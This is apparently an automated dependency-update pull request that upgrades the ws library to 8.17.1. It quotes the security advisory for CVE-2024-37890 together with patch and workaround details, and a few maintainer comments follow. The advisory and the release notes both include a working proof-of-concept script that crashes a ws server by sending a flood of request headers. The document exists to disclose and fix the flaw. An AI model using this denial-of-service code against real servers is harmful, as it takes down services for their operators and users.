fix(deps): update dependency ws to v8.17.1 [security] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	8.16.0 -> 8.17.1

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.

[cooletijdgast]

This package still has the vulnerable ws package installed. Like savilde said here https://github.com/nestjs/graphql/issues/3215 this package is deprecated and should be changed to graphql-ws

[SiebelsTim]

refs #2775

subscriptions-transport-ws depends on "ws": "^5.2.0 || ^6.0.0 || ^7.0.0".

Since the CVE is fixed in 5.2.4, 6.2.3, 7.5.10, 8.17.1, I don't think we need to remove subscriptions-transport-ws to resolve the CVE.